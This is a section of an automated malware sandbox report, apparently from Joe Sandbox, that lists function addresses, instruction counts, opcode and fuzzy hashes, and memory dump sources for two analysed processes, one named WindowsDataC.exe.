
Function 00007FF816381FC9 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816380000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 108031905660e5bc86f5880c8ea7c30067ac5523cc770d5ea377e2c405745240
Instruction ID: 2cfe542b96eaa6002bbdd5224d1df656c7d7ba8b8f2c0f17db58c7783b7caf07
Opcode Fuzzy Hash: 108031905660e5bc86f5880c8ea7c30067ac5523cc770d5ea377e2c405745240
Instruction Fuzzy Hash: 9FF0CD71C0C78A8FEB41EF2488286E83FB0EF06210F0402FBE458CB193DA389558CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816380625 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816380000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a763266aad294e9ecbed931b132c07a7829447ca401dd07938bf4e0e2960d522
Instruction ID: 2a7d63a62579ec0b157f37614dad20ed27f3863736938fe1ec89457ce82a6d80
Opcode Fuzzy Hash: a763266aad294e9ecbed931b132c07a7829447ca401dd07938bf4e0e2960d522
Instruction Fuzzy Hash: 20F08232C4D6C68EE77256A458150F4BF68EF83660F0903F7D4D89A0D3DA581598C742

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816399A59 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816396000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816396000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816396000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0a3454f384bebd74edfea6a8bbfca972ca6648128c0b7c381f02f2fdbcd5977
Instruction ID: 42f0971541c4c6078d3fcd4620b5ac948b865ae2e709e91258c6efda4349a15e
Opcode Fuzzy Hash: e0a3454f384bebd74edfea6a8bbfca972ca6648128c0b7c381f02f2fdbcd5977
Instruction Fuzzy Hash: 6CF06D7280D68ACFDB65AF6488912E93FB0FF56340F0802B6D458C71D2D678D964CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816399AFD Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816396000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816396000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816396000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77a7f61fb177a62cfb33fd46dcab0098b31635e6498ecf7ea8f0d2d99de22099
Instruction ID: cee7a8af1455e81e002d76cfcc0cd0ab6a4ca4ac0f781fd7d8b3a18afc07b42e
Opcode Fuzzy Hash: 77a7f61fb177a62cfb33fd46dcab0098b31635e6498ecf7ea8f0d2d99de22099
Instruction Fuzzy Hash: 9DF0907281DA8E8FDB50DF2488492EC7FB0EF18350F4901FAE44CC61D2DA789594CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816391ED7 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816391000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816391000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0eaaa9b6cab138371c8c172e5330cf2909c300ca36afae7b38240d6c07636188
Instruction ID: ae3f738d598b5021b7d8cc0d3ff092f6f73dee14399d8f106862cb99c4a831aa
Opcode Fuzzy Hash: 0eaaa9b6cab138371c8c172e5330cf2909c300ca36afae7b38240d6c07636188
Instruction Fuzzy Hash: 06F06D7185D68DCFDB95DF6488582ED7FA0AF05311F0402BEE858D7192DA38A654CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816399B51 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816396000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816396000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816396000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2ffed0398262e2f1a6b54a76f67ed150b864c7560c186f51dfbd7997ad4dfb8
Instruction ID: afb7faa0645a3808ecaaad9bc86c5be7deb90365f20841c57552238d1f9f95a9
Opcode Fuzzy Hash: d2ffed0398262e2f1a6b54a76f67ed150b864c7560c186f51dfbd7997ad4dfb8
Instruction Fuzzy Hash: A0E0486285D68ACBD312566058552E53B74EF46320F4916F2E098860D3DA1C5565CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816381EA9 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816380000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63839b175571c2d553b8d0d25dc1bb949363018a8ae027489f09773f1a702ad9
Instruction ID: 0d9a3d7654af1912147878187912dc05a42331684a86c49d0b0744ff3c31f8aa
Opcode Fuzzy Hash: 63839b175571c2d553b8d0d25dc1bb949363018a8ae027489f09773f1a702ad9
Instruction Fuzzy Hash: 46F0823585D7CA4FD716AF2488156E43F64FF06250F0913BAD4988B0E3D668A418C701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816399310 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816396000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816396000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816396000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b2f139150d0840f0fe28fccd184516689848febab657ceef125021f2abc9a85
Instruction ID: 2d88d0efc502677cdc057942f6c9c8877b6add4b3649c22e5d5e338ce686cc07
Opcode Fuzzy Hash: 9b2f139150d0840f0fe28fccd184516689848febab657ceef125021f2abc9a85
Instruction Fuzzy Hash: 38E06D31868A4ECFEB40EF6488496ED7BA4FF08340F440576E81CC22D1DA306290CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816391A99 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816391000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816391000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7776beb31c8fcaf90131a9f57311303b15f5d0a706ff2dc890e03b1bd9e2b5d5
Instruction ID: 020ef4a038520112d011a7b8d20b13a6a975d85e9a08b9322d927f8151a90982
Opcode Fuzzy Hash: 7776beb31c8fcaf90131a9f57311303b15f5d0a706ff2dc890e03b1bd9e2b5d5
Instruction Fuzzy Hash: 63F0656284D7C68FE72656244C151F93F60EF43361F4D12FAD0889A4D3EA585C59C752

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8163960FC Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816396000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816396000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816396000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44179a4e3da06738a58ad906998675ba0a586b6eb0e65a6e5260378446b57242
Instruction ID: a8c5ce2dd3c86497db13d909e98f28262960e8e5621c1295bec441168550169c
Opcode Fuzzy Hash: 44179a4e3da06738a58ad906998675ba0a586b6eb0e65a6e5260378446b57242
Instruction Fuzzy Hash: 1BF0B770D18A6D8FDBEAEB088854BA8B7B9FB59714F1002E9908DE2245CB345B80CF01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8163803D0 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816380000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd1fa9aeb5006e906a2888bc23e172e129c2617558feb9964559a14f71b407cb
Instruction ID: fee4df21f69b20f6f0a061540f0f4e2b12034affefa959d2067de32822fc5484
Opcode Fuzzy Hash: dd1fa9aeb5006e906a2888bc23e172e129c2617558feb9964559a14f71b407cb
Instruction Fuzzy Hash: ECE06D30C28A0E9FEB50EF6488096FD7BA8FF08351F004676E81DD6281DA346294CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816381B76 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816380000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f08eecdfabd875305bf5b2582e1e74e24206067ee6e2bb589aa6c6c7ad253dec
Instruction ID: 9866a6444defd473222fc916d4881af83c305784662882983606564d132b7cb3
Opcode Fuzzy Hash: f08eecdfabd875305bf5b2582e1e74e24206067ee6e2bb589aa6c6c7ad253dec
Instruction Fuzzy Hash: 63F01C70D0851A8FEB18DF94C891AFEB7B5EF54361F00433AD856A6292DB786944CF80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816396708 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816396000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816396000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816396000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ee110dcd2b496e5f29994a648157d51c9bce143b0ce83a12b7c90e36b097580
Instruction ID: 600cb6580a4ccb4cb8d97a768a54504b3310dd992bc1704deccc64102432468c
Opcode Fuzzy Hash: 6ee110dcd2b496e5f29994a648157d51c9bce143b0ce83a12b7c90e36b097580
Instruction Fuzzy Hash: 4DF0ACB1D18D1A9EEBA0DF28C8443A8B6B0FB55350F5006F9914DE3290DB349981CF14

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF816398B05 Relevance: .7, Instructions: 739COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816396000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816396000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816396000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a195fe335d5d3347730b7db2cec547e9cf9d67a1cb6103f1cbcd50d7608dd910
Instruction ID: dbefb8a46a80f9d46f6daf35195e66fb9585d6ee717949df0714dfccf9adf944
Opcode Fuzzy Hash: a195fe335d5d3347730b7db2cec547e9cf9d67a1cb6103f1cbcd50d7608dd910
Instruction Fuzzy Hash: 1D42E870D18A1ECFEB58EB98C894BEDB7F1FB98311F144179D049E7695CA786981CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF81638201D Relevance: 6.5, Strings: 5, Instructions: 239COMMON

Download Yara Rule

Strings

jt-t, xrefs: 00007FF81638216F
jt-t, xrefs: 00007FF816382129
jt-t, xrefs: 00007FF81638214C
Zr-t, xrefs: 00007FF8163821CB
jt-t, xrefs: 00007FF816382106

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816380000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID: Zr-t$jt-t$jt-t$jt-t$jt-t
API String ID: 0-3737888741
Opcode ID: 12682048f8156eb346591928f0ae58aecc6fd0dcdfddcd51d2d97266fc2b03b4
Instruction ID: b262401ca8d0b8c2bd9b85a7a655cab93826e9426affbb420e2f206ee9f2c476
Opcode Fuzzy Hash: 12682048f8156eb346591928f0ae58aecc6fd0dcdfddcd51d2d97266fc2b03b4
Instruction Fuzzy Hash: 2481E232E1894D8FE795DF68E8697EC7BE1FB4A760F50027AD049D7282DB681846CB40

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: WindowsDataC.exePID: 2444, Parent PID: 4560COMMON

Executed Functions

Function 00007FF8163A8C90 Relevance: 1.3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

Strings

jt-t, xrefs: 00007FF8163A8EEE

Memory Dump Source

Source File: 00000001.00000002.604980672.00007FF816390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff816390000_WindowsDataC.jbxd

Similarity

API ID:
String ID: jt-t
API String ID: 0-1365632829
Opcode ID: e5811529ea6d32a68869d40d389c39672158b848df86e3267ada8ad94fdc0678
Instruction ID: 887eb2f9c15299db10e7a56ded1a1bea0d1c37d730db68796eebb3b2ccb6bbb2
Opcode Fuzzy Hash: e5811529ea6d32a68869d40d389c39672158b848df86e3267ada8ad94fdc0678
Instruction Fuzzy Hash: 1C211A71E08A0E8FDB54DE58D845AEEBBB1FF98360F14423AE409E3290CA3469519B90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF81639A85F Relevance: 1.3, Strings: 1, Instructions: 13COMMON

Download Yara Rule

Strings

k, xrefs: 00007FF81639A887

Memory Dump Source

Source File: 00000001.00000002.604980672.00007FF816390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff816390000_WindowsDataC.jbxd

Similarity

API ID:
String ID: k
API String ID: 0-140662621
Opcode ID: 7fa36d82132b4b3241d32969493cd03712d585acabaca44d9edd43686c998019
Instruction ID: 9580a50303f72e7ca28aebe8bbb9ecdac4837a940bfb4eb18843313176adfef2
Opcode Fuzzy Hash: 7fa36d82132b4b3241d32969493cd03712d585acabaca44d9edd43686c998019
Instruction Fuzzy Hash: E9D0EC6081891A8BE790EF14C8453BAB661EF14381F5040B4940CA3181CE7469C18F80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8163915A2 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.604980672.00007FF816390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff816390000_WindowsDataC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 094e8484adef1b83c52192be441424c366cb3314d5eb81cf232f945b2ccd604b
Instruction ID: 1329fb5915835ce2afe5f971a00dfaa4d934cce06d2715103c8cf64e3c6b93ee
Opcode Fuzzy Hash: 094e8484adef1b83c52192be441424c366cb3314d5eb81cf232f945b2ccd604b
Instruction Fuzzy Hash: 2761E771E18A5DCFDB98EB58D894BA8B7F1FF69311F5401A9D04EE7291CA34A981CF00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8163916AF Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.604980672.00007FF816390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff816390000_WindowsDataC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9524dceb41bdef419f3f46774f17245772fcbf0b3c0b2fd2c4f899c3be0cfa93
Instruction ID: 1dd836b07402b887bb6d90f2a4f99c916265fbcb57d0484daffdf3146ae4b93b
Opcode Fuzzy Hash: 9524dceb41bdef419f3f46774f17245772fcbf0b3c0b2fd2c4f899c3be0cfa93
Instruction Fuzzy Hash: 79416A70E1895DCFDB98EB18D894BA9B7F1FF69341F5001A9D04DE3282CE34A885CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8163A8C30 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.604980672.00007FF816390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff816390000_WindowsDataC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a8ecea1f2628b0a97443d6f27bfd68311bd7fe32e7e0297d825c89ba5b35288
Instruction ID: 22ff12ed9bcbf864f0749fe6826d79ce8aa6ac1578de1c1687c3786b41a84cc2
Opcode Fuzzy Hash: 0a8ecea1f2628b0a97443d6f27bfd68311bd7fe32e7e0297d825c89ba5b35288
Instruction Fuzzy Hash: 1431FA74D1891D8FDF58EF98C8446EDB7F1FB58351F10013AE049E3294CA78A981CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF81639066D Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.604980672.00007FF816390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff816390000_WindowsDataC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84976409492d8dc11628058d9fbd53c9e08bb452ab15320bfa59026014d57638
Instruction ID: 37890ab534b32329f36268bef9e7dee1137be5927bf6646eb44a21e1f26ea44c
Opcode Fuzzy Hash: 84976409492d8dc11628058d9fbd53c9e08bb452ab15320bfa59026014d57638
Instruction Fuzzy Hash: CC31B23190CA5A8FDB45DF68D8656FEBBB1FF45360F1402BAC049D7582CB386884CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816391E18 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.604980672.00007FF816390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff816390000_WindowsDataC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecc5ffa8d822020b7cfd3f4347258a036e21166cc524c69c4b78dec50d117be1
Instruction ID: b14de2322485a3a3888a44b5ece252c3b6e8120393ce244ca429004b7bf9661d
Opcode Fuzzy Hash: ecc5ffa8d822020b7cfd3f4347258a036e21166cc524c69c4b78dec50d117be1
Instruction Fuzzy Hash: 3B216D76C8D7C68FE7539B6458552E47FB0AF03360F0905EBD0C98B093D66C599ACB12

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816391BA6 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.604980672.00007FF816390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff816390000_WindowsDataC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3cb951423ceb2f6b3654e2953f30a4c72f1e7c1687c6c4afca26625c59cf29a
Instruction ID: aa59fa4a2a215e7dacdd02a3b2d6330be448e99ed62bb7d39aaa8db901192de6
Opcode Fuzzy Hash: e3cb951423ceb2f6b3654e2953f30a4c72f1e7c1687c6c4afca26625c59cf29a
Instruction Fuzzy Hash: E6016DB5D0890ACFEB58EB58C881AEDB7B1FF14361F404279D44AA3281EF786940CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816390B49 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.604980672.00007FF816390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff816390000_WindowsDataC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e92acca684b8deb5242ffd897ef9c6978ef3a7a6e4ad79d86779d1252219058b
Instruction ID: 780b73f39bf0d4b7aa91d2a7d220c5603723c51c44295cc92a10b9232ae686d7
Opcode Fuzzy Hash: e92acca684b8deb5242ffd897ef9c6978ef3a7a6e4ad79d86779d1252219058b
Instruction Fuzzy Hash: F101D471C0DBC9CFE7668B7448552E8BFB0EF16314F0501EAD4C8C6093DB689888C701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816390C5D Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.604980672.00007FF816390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff816390000_WindowsDataC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcfbe6473ec0050311350227881df4d60da87133903bc612358cc15fa9cd8aad
Instruction ID: 9fb224bd3d5bb60a0612a1e6693f901bd9c431ca5d80e6adaf6e559507eed96f
Opcode Fuzzy Hash: dcfbe6473ec0050311350227881df4d60da87133903bc612358cc15fa9cd8aad
Instruction Fuzzy Hash: 47018F71C19A8ECEE755AB7488592FDBFA0EF05360F4005BED098CA193DB746480CF01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8163906D5 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.604980672.00007FF816390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff816390000_WindowsDataC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7882d87092eeb116b7f59beb9b0d7dc857cdaae6844b53deaf9523e6b997f22d
Instruction ID: 602156c2f1b79417b3a158da5280a6cc23ff479d9620e87d52bcab18b7062fd4
Opcode Fuzzy Hash: 7882d87092eeb116b7f59beb9b0d7dc857cdaae6844b53deaf9523e6b997f22d
Instruction Fuzzy Hash: BCF0E770918A8D9FDB94EF58C848AA97BE0FF58340F1106A6E85CC7261CA30E5A1CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816390B60 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.604980672.00007FF816390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff816390000_WindowsDataC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a50f1b6dc1ec8c260472931421c245ecae34285c8ce0a21fbf8dee1310f5377
Instruction ID: 700ca5d4732f63172d28a8c37a4a696db78d40ed4a4e37a29fb9f8af29cba245
Opcode Fuzzy Hash: 4a50f1b6dc1ec8c260472931421c245ecae34285c8ce0a21fbf8dee1310f5377
Instruction Fuzzy Hash: CBF0BE71C68A8DCEE7609BA498483F8BBF0EF29368F40017AE49DD2191DB746994CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816391FC9 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.604980672.00007FF816390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff816390000_WindowsDataC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9a270a6dfd26e01d99f51566f24e8e4309bebd7c70f7651ad4910c26f880380
Instruction ID: e6b834a23f7d7e5faaddca8fa331bc1abafc0c50baf2ac71770d6ae189724e31
Opcode Fuzzy Hash: e9a270a6dfd26e01d99f51566f24e8e4309bebd7c70f7651ad4910c26f880380
Instruction Fuzzy Hash: DBF0C271C1D7899FE751DF3488552E87FB0AF06310F0541EBD498C7193D6385558CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8163900A8 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.604980672.00007FF816390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff816390000_WindowsDataC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4acc3d6e22c64ec47543cdb1534aeabfa7b627d3726b0d4810c236bd6ffedc67
Instruction ID: 2d808729bb998127a14736a0ddb089a2e736d33125b1e296c1ac7ed3c3e586fa
Opcode Fuzzy Hash: 4acc3d6e22c64ec47543cdb1534aeabfa7b627d3726b0d4810c236bd6ffedc67
Instruction Fuzzy Hash: F3F01770818A4EDFDB80EF1CC848AA977E0FF19305F0005AAA81DC7250DA30A554CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816390625 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.604980672.00007FF816390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff816390000_WindowsDataC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2891a4aec1d2ff7ddfab4b11671502d4234f9946a7e44cb9e6cfce7ec74a672f
Instruction ID: 1bcf9d7d18e17bb2e43fdadd8b6c40800a82896fb63d9e12d2d5b5f368cfc9f9
Opcode Fuzzy Hash: 2891a4aec1d2ff7ddfab4b11671502d4234f9946a7e44cb9e6cfce7ec74a672f
Instruction Fuzzy Hash: 24F05E62C0E6C6CEE762667458150F4BF60EF87760F0802FBD0D986093DB581599CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8163905B8 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.604980672.00007FF816390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff816390000_WindowsDataC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5e5eb6851857d69ef221b32429349ef4a527118c83c205479c965bc4b9c8e29
Instruction ID: b92f26f2a43d069a0d1bdee614593efb3cc8c23ba12255e5746edbd475427079
Opcode Fuzzy Hash: d5e5eb6851857d69ef221b32429349ef4a527118c83c205479c965bc4b9c8e29
Instruction Fuzzy Hash: 16F01C71408A0EDFDB90EF28D884AAA77E4FF58350F000125E85DC7255C775E9A0CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8163A8D40 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.604980672.00007FF816390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff816390000_WindowsDataC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b4b4a0c1eee88b1e71e86fc3b8696f3da4dfd46c5e3ab8bca27e8d55c6b07e0
Instruction ID: c5bdf1371527a6c2acbe741a0208b5ce712e6a37d67a028d022ee0c1bfc08810
Opcode Fuzzy Hash: 5b4b4a0c1eee88b1e71e86fc3b8696f3da4dfd46c5e3ab8bca27e8d55c6b07e0
Instruction Fuzzy Hash: 41F05E34828A4E8BDF50EF18C8015EE77A0FF18354F500635F85CD3291CB34A520DB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816391EA9 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.604980672.00007FF816390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff816390000_WindowsDataC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a9b4aeccf4d96bdf093b5afe3f99dcec84eba7ec4a0dbbd598f290ad38db1f8
Instruction ID: 3515ebeb4b6dbfd867bfa863ec0f511cf705ff9dcf364aee3d2521503e21eb14
Opcode Fuzzy Hash: 6a9b4aeccf4d96bdf093b5afe3f99dcec84eba7ec4a0dbbd598f290ad38db1f8
Instruction Fuzzy Hash: 8AF08276C5D7CA8FE7269F2459512E43FA0FF06350F0916FED098870D3D6689459CB02

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8163A8C40 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.604980672.00007FF816390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff816390000_WindowsDataC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 618679676e62a0a77f288a4278fb46d9047c5a80ec94c7b493298dcff546a90f
Instruction ID: 45ef4d0c62873dcae97f0fef7e933d9695c1e49a6eacaf1f38f5e39957a3f8b8
